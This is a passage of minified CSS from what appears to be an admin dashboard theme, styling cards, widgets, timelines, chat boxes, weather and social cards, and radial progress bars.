32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-header{padding:20px 20px;border:0;background:none;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card .card-header h3{margin:0;font-size:18px;font-weight:normal;color:#212121}.card .card-header .card-options a:not(.dropdown-item){width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:33px;color:#212121;display:inline-block;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.card .card-header .card-options span{color:#444;font-size:12px}.card .card-header .card-search{position:relative}.card .card-header .card-search .form-control{padding-right:60px;font-size:14px;max-height:30px;min-height:30px}.card .card-header .card-search .form-control ~ .btn{position:absolute;right:0;top:0;padding:0;width:30px;height:30px;line-height:30px;border-radius:4px;background-color:#eceff1;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-btn{background-color:transparent;border:0;position:absolute;right:30px;top:0;width:30px;height:30px;line-height:30px;padding:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-search-wrap{padding:20px;display:none;position:absolute;left:30px !important;width:100%;top:30px;background-color:#fff;z-index:4;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08);border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .card-header .card-search.with-adv-search .adv-search-wrap .form-control{padding-right:15px}.card .card-header .card-search.with-adv-search .adv-search-wrap .btn{padding:0 15px;font-size:14px;height:30px;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-header .card-search.with-adv-search .adv-search-wrap.show{display:block}.card .card-header.note-toolbar{padding:0 0 5px 5px}.card .card-header .dropdown .checkbox-dropdown{padding:0px;width:16px;height:16px;background-color:#dee2e6;border-radius:.25rem;margin-right:15px}.card .card-body{padding:20px 20px;flex:1 1 auto;position:relative}.card .card-img{height:100%;object-fit:cover;max-height:200px;width:unset;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-img-overlay{background:rgba(0,0,0,0.5);padding:1.75rem;border-radius:4px}.card.icon-card .card-body i{font-size:46px;line-height:66px;color:#212121}.card.icon-card .card-body .card-text{color:#8f8f8f;height:30px;line-height:26px}.card.icon-card .card-body .lead{color:#212121;margin-bottom:0}.card .nav-pills.custom-pills{border-bottom:1px solid #f1f1f1}.card .nav-pills.custom-pills .nav-link{border-radius:0;opacity:.7;font-size:14px;padding:12px 15px}.card .nav-pills.custom-pills .nav-link.active{color:#ef4153;opacity:1;background-color:transparent;border-bottom:2px solid #ef4153}.widget{border-color:#ffff;position:relative;width:100%;border:none;margin-bottom:30px;background-color:#fff;overflow:hidden;-webkit-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.widget .widget-header{padding:10px 20px;border-bottom:1px solid #f5f7f9;position:relative}.widget .widget-header .widget-title{font-size:18px;margin:0}.widget .widget-header .widget-tools{position:absolute;right:10px;top:5px}.widget .widget-header .widget-tools .btn-widget-tool{padding:5px;font-size:16px;background:transparent;color:#97a0b3}.widget .widget-header .widget-tools .btn-widget-tool i{margin:0}.widget .widget-header .widget-tools .btn-widget-tool:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.widget .widget-body{padding:20px 20px}.widget .widget-body h6{margin-bottom:0;font-weight:400}.widget .widget-body h2{margin-bottom:0px;font-weight:600}.widget .widget-body .icon{font-size:37px;color:#9aa0ac}.widget .widget-body .overlay{position:absolute;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.22);text-align:center;z-index:3;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.widget .widget-body .overlay i{font-size:32px;color:#ef4153;margin-bottom:5px}.widget .progress{border-radius:0}.widget[class*=bg-] .widget-header{background-color:rgba(255,255,255,0.2);border-bottom-color:transparent}.widget[class*=bg-] .widget-header .widget-title{color:#fff}.widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool{color:rgba(255,255,255,0.6)}.widget[class*=bg-] .widget-body{color:#fff}.widget[class*=bg-] .widget-body .icon{color:#fff}.widget.social-widget .widget-body{text-align:center}.loading{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.card-group .card:not(:last-child){border-right:1px solid #f1f1f1}.card .card-header{border-bottom:1px solid #f1f1f1}.card .card-header .card-header-right{right:10px;top:16px;display:inline-block;float:right;position:absolute}.card .card-header .card-header-right .card-option{width:35px;height:25px;overflow:hidden;margin:0;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.card .card-header .card-header-right .card-option li{display:inline-block}.card .card-header .card-header-right .card-option li i{margin:0 5px;cursor:pointer;font-size:15px;color:#8c8c8c;line-height:2;font-weight:300}.card .card-block{padding:1.25rem}.card .card-body .icon{font-size:37px;color:#9aa0ac}.card .feeds-widget{padding:0}.card .feeds-widget .feed-item{display:block;padding:12px 15px;border:1px solid #efefef;border-left:0;border-right:0}.card .feeds-widget .feed-item a{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .feeds-widget .feed-item a .feeds-left{width:50px;font-size:30px}.card .feeds-widget .feed-item a .feeds-body{width:100%}.card .feeds-widget .feed-item a .feeds-body h4{font-size:16px;margin:0;font-weight:700;margin-bottom:5px}.card .feeds-widget .feed-item a .feeds-body h4 ~ small{text-overflow:ellipsis;white-space:nowrap;overflow:hidden;width:calc(100% - 60px);font-size:13px;color:#777}.card .feeds-widget .feed-item.feed-item{margin-top:-1px}.card .timeline .header{background-size:cover;color:#fff;position:relative}.card .timeline .header .color-overlay{padding:2em;box-sizing:border-box;background:rgba(123,94,155,0.5);line-height:normal}.card .timeline .header .color-overlay .day-number{font-size:6em;margin-right:15px;display:inline-block;font-weight:700;line-height:1}.card .timeline .header .color-overlay .date-right{display:inline-block}.card .timeline .header .color-overlay .date-right .day-name{font-size:22px}.card .timeline .header .color-overlay .date-right .month{text-transform:uppercase;margin-top:2px}.card .timeline ul{list-style:none;position:relative;padding-left:30px;padding-top:10px;margin:0}.card .timeline ul:before,.card .timeline ul::before{content:' ';height:100%;width:1px;background-color:#f0f0f0;position:absolute;top:0;left:35px;z-index:1}.card .timeline ul li{padding-bottom:15px}.card .timeline ul li .bullet{width:10px;height:10px;display:inline-block;z-index:2;position:relative;vertical-align:top;margin:7px 0;margin-right:5px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .timeline ul li .time{width:20%;font-size:10px;margin:6px 0;vertical-align:top;display:inline-block}.card .timeline ul li .desc{width:65%;display:inline-block}.card .timeline ul li .desc h3{margin:0;font-size:14px;font-weight:700}.card .timeline ul li .desc h4{margin-top:5px;font-size:12px;color:#999}.card .task-list{margin:0;padding:0}.card .task-list li{display:block;padding:15px 0 15px 0;margin:0;cursor:pointer}.card .task-list li:first-child{padding-top:0}.card .task-list li.list span{float:left;margin-top:20px;color:#FF7E39}.card .task-list li.list span:before,.card .task-list li.list span::before{font-size:1.5rem;content:"\e83f";font-family:'iconkit';vertical-align:middle;border:3px solid #FF7E39;padding:4px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .task-list li.list .task-details{margin-left:60px}.card .task-list li.list .task-details p{margin:0;padding:10px 0 6px 0;line-height:140%}.card .task-list li.list .task-details p.date{padding:0;margin:0;font-size:.75rem}.card .task-list li.completed{text-decoration:line-through;color:#8796af;-moz-transition:all 0.3s ease-out;-o-transition:all 0.3s ease-out;-webkit-transition:all 0.3s ease-out;transition:all 0.3s ease-out}.card .task-list li.completed span:before,.card .task-list li.completed span::before{color:#50b924;border:3px solid #50b924}.card .chat-box .chat-list{margin:0;padding:0;list-style:none}.card .chat-box .chat-list .chat-item{list-style:none;margin-top:30px}.card .chat-box .chat-list .chat-item .chat-img{display:inline-block;width:45px;vertical-align:top}.card .chat-box .chat-list .chat-item .chat-img img{width:45px;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%}.card .chat-box .chat-list .chat-item .chat-content{width:calc(100% - 50px);display:inline-block;padding-left:15px}.card .chat-box .chat-list .chat-item .chat-content .box{display:inline-block;padding:10px;margin-bottom:3px;color:#343a40;background:#f6f8f9;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .chat-box .chat-list .chat-item .chat-time{display:block;font-size:10px;color:#4F5467;margin:5px 0 15px 65px}.card .chat-box .chat-list .chat-item.odd .chat-content{text-align:right;width:calc(100% - 0px)}.card .chat-box .chat-list .chat-item.odd .chat-content .box{clear:both;color:#fff;background:#137eff}.card .chat-box .chat-list .chat-item.odd .chat-time{text-align:right}.card .chat-box .chat-list .chat-item.odd+.odd{margin-top:0}.card .chat-box .chat-list .chat-item:first-child{margin-top:0}.card .chat-footer{position:relative;background-color:#fff}.card .chat-footer .input-wrap{padding-right:50px}.card .chat-footer .btn{position:absolute;top:10px;right:20px;width:35px;height:35px}.card .card-title{font-size:18px}.card .card-subtitle{font-weight:300;margin-bottom:10px;color:#afb5c1}.jvectormap-tip{border:none;font-family:'Nunito Sans', sans-serif;font-weight:700;padding:5px 10px;font-size:11px}.chart-line .ct-grid{stroke-dasharray:0;stroke:rgba(255,255,255,0.5)}.chart-line .ct-point{stroke-width:0}.chart-line .ct-line{stroke:#FFF;stroke-width:3px}.chart-shadow{transition:all 0.3s ease-in-out;filter:drop-shadow(0px 5px 2px rgba(43,43,43,0.2))}.card-blue,.card-green,.card-red,.card-yellow{position:relative;overflow:hidden}.card-blue:after,.card-green:after,.card-red:after,.card-yellow:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;z-index:1}.card-blue .card-block,.card-blue .card-block-big,.card-blue .card-block-small,.card-blue .card-body,.card-blue .card-footer,.card-blue .card-header,.card-green .card-block,.card-green .card-block-big,.card-green .card-block-small,.card-green .card-body,.card-green .card-footer,.card-green .card-header,.card-red .card-block,.card-red .card-block-big,.card-red .card-block-small,.card-red .card-body,.card-red .card-footer,.card-red .card-header,.card-yellow .card-block,.card-yellow .card-block-big,.card-yellow .card-block-small,.card-yellow .card-body,.card-yellow .card-footer,.card-yellow .card-header{position:relative;z-index:5}.card-red::after{background:#f5365c}.card-red .ct-line{stroke:#fff}.card-red .ct-grid{stroke:#f97f97}.card-blue::after{background:#007bff}.card-blue .ct-line{stroke:#fff}.card-blue .ct-grid{stroke:#4da3ff}.card-green::after{background:#2dce89}.card-green .ct-line{stroke:#fff}.card-green .ct-grid{stroke:#69deac}.card-yellow::after{background:#fb6340}.card-yellow .ct-line{stroke:#fff}.card-yellow .ct-grid{stroke:#fda08b}.proj-progress-card .progress{height:6px;overflow:visible;margin-bottom:10px}.proj-progress-card .progress .progress-bar{position:relative}.proj-progress-card .progress .progress-bar:after{content:"";background:#fff;position:absolute;right:-6px;top:-4px;border-radius:50%;width:15px;height:15px}.proj-progress-card .progress .progress-bar.bg-red:after{border:3px solid #f5365c}.proj-progress-card .progress .progress-bar.bg-blue:after{border:3px solid #007bff}.proj-progress-card .progress .progress-bar.bg-green:after{border:3px solid #2dce89}.proj-progress-card .progress .progress-bar.bg-yellow:after{border:3px solid #fb6340}@media only screen and (max-width: 992px){.proj-progress-card h6{margin-top:15px}.proj-progress-card .progress{margin-bottom:30px}}.sos-st-card h3{display:inline-block}.sos-st-card h3 i{color:#fff;font-size:18px;width:60px;height:60px;border-radius:50%;padding:12px 0;text-align:center;margin-right:15px;border:10px solid transparent;transition:all 0.3s ease-in-out}.sos-st-card h5{position:relative}.sos-st-card h5:after{content:"";background:#d2d2d2;position:absolute;top:-20px;right:-15px;width:1px;height:60px}.sos-st-card.facebook h3{color:#3b579d}.sos-st-card.facebook h3 i{background-color:#3b579d;border-color:#869cd2}.sos-st-card.twitter h3{color:#1da1f2}.sos-st-card.twitter h3 i{background-color:#1da1f2;border-color:#96d3f9}.sos-st-card.linkedin h3{color:#0177b4}.sos-st-card.linkedin h3 i{background-color:#0177b4;border-color:#37bafe}.sos-st-card.dribble h3{color:#ea4c89}.sos-st-card.dribble h3 i{background-color:#ea4c89;border-color:#f7bed4}.sos-st-card:hover h3 i{transform:scale(1.2) rotate(35deg)}@media only screen and (max-width: 768px){.sos-st-card h3 i{font-size:16px;width:35px;height:35px;padding:7px 0;margin-right:0;border-width:3px;margin-left:-10px}.sos-st-card h5:after{display:none}}.wather-card{overflow:hidden}.wather-card .wather-card-top{position:relative;overflow:hidden;min-height:200px;background:linear-gradient(to bottom, #7a9af5, rgba(90,179,243,0.5))}.wather-card .wather-card-top .wave{position:absolute;left:0;right:0;top:auto;bottom:0;z-index:1}.wather-card .wather-card-top .wave+.wave{z-index:2}.wather-card .wather-card-top .wave+.wave+.wave{z-index:3}.wather-card .wather-card-top .sun{background:#fff;position:absolute;top:50px;left:50px;width:30px;height:30px;border-radius:50%}.wather-card .wather-card-top .sun:after,.wather-card .wather-card-top .sun:before{content:"";width:100%;height:100%;border-radius:50%;position:absolute;box-shadow:inset 0 0 20px 5px rgba(255,255,255,0.4)}.wather-card .wather-card-top .sun:after{animation:sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .sun:before{animation:sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-star1,.wather-card .wather-card-top .w-star2{position:absolute;top:0;left:0;width:100%}.wather-card .wather-card-top .w-star1{animation:sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .w-star2{animation:sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-cloud{position:absolute;right:30px;top:60px;opacity:0;animation:w-cluod 15s linear infinite}@keyframes w-cluod{0%{opacity:0;transform:translate(0px, 0px)}20%{opacity:0.8;transform:translate(30px, -25px)}40%{opacity:1;transform:translate(0px, 0px)}60%{opacity:0.6;transform:translate(-30px, 25px)}80%{opacity:0.5;transform:translate(0px, 0px)}80%{opacity:0;transform:translate(0px, 0px)}}@keyframes sparcle{0%{opacity:1}50%{opacity:0}}@keyframes sunwawe{0%{transform:scale(1);opacity:1}100%{transform:scale(4);opacity:0}}.comp-card i{color:#fff;width:50px;height:50px;border-radius:5px;text-align:center;padding:17px 0;font-size:18px;text-shadow:0 6px 8px rgba(62,57,107,0.18);transition:all 0.3s ease-in-out}.comp-card:hover i{border-radius:50%}.proj-t-card{position:relative;overflow:hidden}.proj-t-card .pt-badge{color:#fff;margin-bottom:0;display:inline-block;padding:60px 50px 20px 20px;border-radius:50%;position:absolute;top:-45px;right:-35px;transition:all 0.3s ease-in-out;box-shadow:0 5px 7px 0 rgba(62,57,107,0.18)}.proj-t-card:hover .pt-badge{padding:65px 55px 30px 30px;text-shadow:0 3px 5px rgba(62,57,107,0.5);box-shadow:0 4px 4px 0 rgba(62,57,107,0.3)}.prod-p-card i{background-color:#fff;width:40px;height:40px;border-radius:50%;text-align:center;padding:11px 0;font-size:18px;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px rgba(62,57,107,0.2)}.prod-p-card:hover i{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:scale(0.9) translatey(5px)}.ticket-card .lbl-card{box-shadow:0 5px 4px -2px rgba(51,51,51,0.16);border-radius:5px;padding:5px 15px;color:#fff;display:inline-block}.analytic-card .analytic-icon{width:50px;height:50px;text-align:center;padding:17px 0;border-radius:50%;background-color:#fff;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.analytic-card:hover .analytic-icon{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:rotate(-15deg) translatey(5px)}.social-res-card .progress{height:6px}.product-progress-card .progress{height:6px}.product-progress-card .pp-cont{padding-left:15px;padding-right:15px;position:relative}.product-progress-card .pp-cont:after{content:"";background:#d2d2d2;width:1px;height:100%;position:absolute;top:0;left:-15px}.product-progress-card .pp-main>div:first-child .pp-cont:after{display:none}@media only screen and (max-width: 992px){.product-progress-card .pp-cont{margin-top:15px;margin-bottom:15px}.product-progress-card .pp-cont:after{display:none}}.social-card h2{text-shadow:0 8px 15px rgba(51,51,51,0.2);transition:all 0.3s ease-in-out}.social-card:hover h2{text-shadow:0 4px 4px rgba(51,51,51,0.2);transform:scale(0.9) translatey(5px)}.user-card{overflow:hidden}.user-card .user-img{border-radius:50%;display:flex;align-items:center;width:80px;height:80px;margin:0 auto;position:relative;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-img h5{margin:0 auto}.user-card .user-img .link-share{position:absolute;padding:4px 0;right:0;bottom:0;border-radius:50%;width:25px;height:25px;background:#fff;color:#666;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-sub-img{position:relative;margin:30px 0 10px;padding-top:30px}.user-card .user-sub-img>img{width:30px;cursor:pointer;margin:5px}.user-card .user-sub-img:after{content:"";width:30px;height:1px;background:#2b2b2b;position:absolute;top:0;right:calc(50% - 15px)}.user-card .f-btn{cursor:pointer;transition:all 0.3s ease-in-out}.user-card .f-btn a{transition:all 0.3s ease-in-out}.user-card .f-btn:hover{background-color:#99caff;box-shadow:inset 0 5px 7px -3px rgba(43,43,43,0.15)}.user-card .f-btn:hover a{color:#007bff}.soc-cont-card{color:#fff;position:relative;overflow:hidden}.soc-cont-card .soc-slider{margin-right:85px}.soc-cont-card .soc-cont-icon{color:#fff;font-size:50px;width:100px;text-align:center;position:absolute;right:0;top:20px}.soc-cont-card .num-block{background:#fff;color:#ef4153;padding:8px 15px;display:inline-block;margin:5px 0 10px;border-radius:5px;box-shadow:inset 0 1px 3px -1px rgba(43,43,43,0.25)}.soc-cont-card .num-block+.num-block{margin-left:15px}.soc-cont-card .num-block i{font-size:16px;opacity:1}.soc-cont-card .card-block{margin-bottom:20px;padding-bottom:10px}.soc-cont-card:after{content:"";background:rgba(255,255,255,0.5);height:20px;width:100%;position:absolute;bottom:0;left:0}@media only screen and (max-width: 575px){.soc-cont-card .soc-slider{margin-right:0}.soc-cont-card .soc-cont-icon{font-size:40px;width:50px;top:auto;bottom:35px}}.st-cir-card{position:relative;overflow:hidden}.st-cir-card .st-bt-lbl{font-size:60px;font-weight:700;opacity:0.3;position:absolute;bottom:-30px;right:-5px}.st-cir-card .st-cir-chart{position:relative}.st-cir-card .st-cir-chart h5{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.st-cir-card .ct-series-a .ct-slice-donut{stroke:#fff}.st-cir-card.card-red .ct-series-b path{stroke:#fa97ab}.st-cir-card.card-blue .ct-series-b path{stroke:#66b0ff}.st-cir-card.card-green .ct-series-b path{stroke:#7ee3b8}.st-cir-card.card-yellow .ct-series-b path{stroke:#fdb5a4}.prod-bar-card .pbc-chart{width:50px;margin:0 auto 10px}.prod-bar-card .radial-bar:after{box-shadow:0 0 3px #fff}.sale-card .s-chart{position:relative}.sale-card .s-chart .bottom-line{background:#ccc;position:absolute;width:80px;height:3px;bottom:30px;left:50%;transform:translatex(-50%)}.sale-card .radial-bar{margin:15px 0 35px}.sale-card .radial-bar>img{box-shadow:0 0 0 8px #fff}.sale-card .s-caption{width:20px;height:20px;border-radius:5px;display:inline-block;vertical-align:super;margin-right:5px}.sale-card .progress{height:5px}.sale-card .tot-rev-chart{position:relative;margin:0 auto}.sale-card .tot-rev-chart .ct-series-b path{stroke:#fff}.sale-card .tot-rev-chart .ct-series-a .ct-slice-donut{stroke:#fb6340}.sale-card .tot-rev-chart h3{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.new-cust-card img{border:2px solid #fff;box-shadow:0 5px 10px 0 rgba(43,43,43,0.2)}.new-cust-card h6{margin-bottom:0}.new-cust-card .align-middle{position:relative}.new-cust-card .align-middle .status{position:absolute;right:0;top:19px;font-size:13px}.new-cust-card .align-middle .status.active{width:10px;height:10px;border-radius:50%;background:#2dce89}.table-card .card-block{padding-left:0;padding-right:0;padding-top:0}.table-card .card-block .table>thead>tr>th{border-top:0}.table-card .card-block .table tr td:first-child,.table-card .card-block .table tr th:first-child{padding-left:20px}.table-card .card-block .table tr td:last-child,.table-card .card-block .table tr th:last-child{padding-right:20px}.table-card .card-block .table.without-header tr:first-child td{border-top:none}.table-card .p-status{width:10px;height:10px;border-radius:50%}.latest-update-card .card-block{padding-top:0}.latest-update-card .card-block .latest-update-box{position:relative}.latest-update-card .card-block .latest-update-box:after{content:"";position:absolute;background:#ebebeb;height:100%;width:3px;top:0;left:19px;z-index:1}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2}.latest-update-card .card-block .latest-update-box .update-meta .update-icon{width:30px;height:30px;border-radius:50%;text-align:center;padding:7px 8px;font-size:16px;color:#fff}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red{box-shadow:0 0 0 4px rgba(245,54,92,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue{box-shadow:0 0 0 4px rgba(0,123,255,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green{box-shadow:0 0 0 4px rgba(45,206,137,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow{box-shadow:0 0 0 4px rgba(251,99,64,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring{border-width:3px;width:15px;height:15px;padding:0;display:block;margin-left:13px;background:#fff}.latest-update-card .card-block .latest-update-box .update-meta i.update-icon{margin-left:4px;margin-right:19px}.latest-update-card .card-block .latest-update-box .update-meta img.update-icon{padding:0;width:40px;height:40px}@media only screen and (max-width: 575px){.latest-update-card .card-block .latest-update-box:after{display:none}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2;min-width:100%;text-align:left !important;margin-bottom:15px;border-top:1px solid #f1f1f1;padding-top:15px}}.testimonial-card .progress{height:5px}.testimonial-card .review-block .cust-img{width:50px;height:50px}.testimonial-card .review-block>div{padding-top:15px;padding-bottom:15px;margin-left:0;margin-right:0;padding-left:5px;padding-right:5px}.testimonial-card .review-block>div:hover{background-color:rgba(0,123,255,0.1)}.feed-card h6{margin-top:7px}.feed-card .feed-icon{color:#fff;border-radius:50%;width:30px;height:30px;text-align:center;padding:8px 9px}.chat-card .msg{margin-bottom:5px;display:inline-block;padding:10px;position:relative}.chat-card .msg img{width:60px;border-radius:5px;margin-bottom:5px;margin-top:5px;margin-right:10px}.chat-card .received-chat .msg{background:rgba(0,123,255,0.1);border-radius:0 5px 5px 5px;box-shadow:2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .received-chat .msg:after{content:"";position:absolute;left:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-bottom-color:rgba(0,123,255,0.1)}.chat-card .send-chat{text-align:right}.chat-card .send-chat .msg{background:rgba(45,206,137,0.1);border-radius:5px 0 5px 5px;box-shadow:-2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .send-chat .msg:after{content:"";position:absolute;right:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-right-color:rgba(45,206,137,0.1)}.radial-bar{position:relative;display:inline-block;border-radius:50%;background-color:transparent;margin-bottom:20px;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;width:80px;height:80px;font-size:18px}.radial-bar:after,.radial-bar>img{display:inline-block;position:absolute;top:0;left:0;border-radius:50%;text-align:center;font-weight:500;color:#455a64}.radial-bar:after{content:attr(data-label);background-color:#fff;z-index:55}.radial-bar>img{z-index:102}.radial-bar:after,.radial-bar>img{width:56px;height:56px;margin-left:12px;margin-top:12px;line-height:56px}.radial-bar.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-50{background-image:linear-gradient(270deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-55{background-image:linear-gradient(288deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-60{background-image:linear-gradient(306deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-65{background-image:linear-gradient(324deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-70{background-image:linear-gradient(342deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-75{background-image:linear-gradient(360deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-80{background-image:linear-gradient(378deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-85{background-image:linear-gradient(396deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-90{background-image:linear-gradient(414deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-95{background-image:linear-gradient(432deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-100{background-image:linear-gradient(450deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, 